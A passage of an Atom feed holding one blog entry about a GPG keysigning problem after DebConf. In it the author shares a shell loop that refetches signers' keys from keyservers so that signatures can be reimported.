        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=678</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/678-guid.html</id>
        <title type="html">another note to the keysigning debacle</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                As some <a href="http://gwolf.org/blog/back-home-keys-signed-and-all">pointed</a> <a href="http://lists.debconf.org/lurker/message/20090804.013650.64529bc4.en.html">out</a> one can make the resigning a lot easier in case you also used digest 2 signatures. Still it's quite a lot of work to remove the digest 2 sigs you already imported. If you are sending your keys to keyservers on a regular basis but not since <a href="http://www.debconf.org">debconf</a>, it might make sense to remove your pubkey completely, import it back again, do something like:<br />
for i in $(gpg --list-sigs $DEBSIGN_KEYID| grep '^sig' |sed -r -e 's/sig [0-3]* .*([A-F0-9]{8}) .*/\1/'); do gpg --recv-key $i; done<br />
<br />
and then work on reimporting proper signatures. At least that's what I am doing now.<br />
This way of course I lose all other keys that I imported in the past but imho that's worth the hassle of delsig in comparison.<br />
HTH<br />
 
            </div>
        </content>
        <dc:subject>debconf</dc:subject>
<dc:subject>debian</dc:subject>
<dc:subject>keysigning</dc:subject>
<dc:subject>tips</dc:subject>

    </entry>

</feed>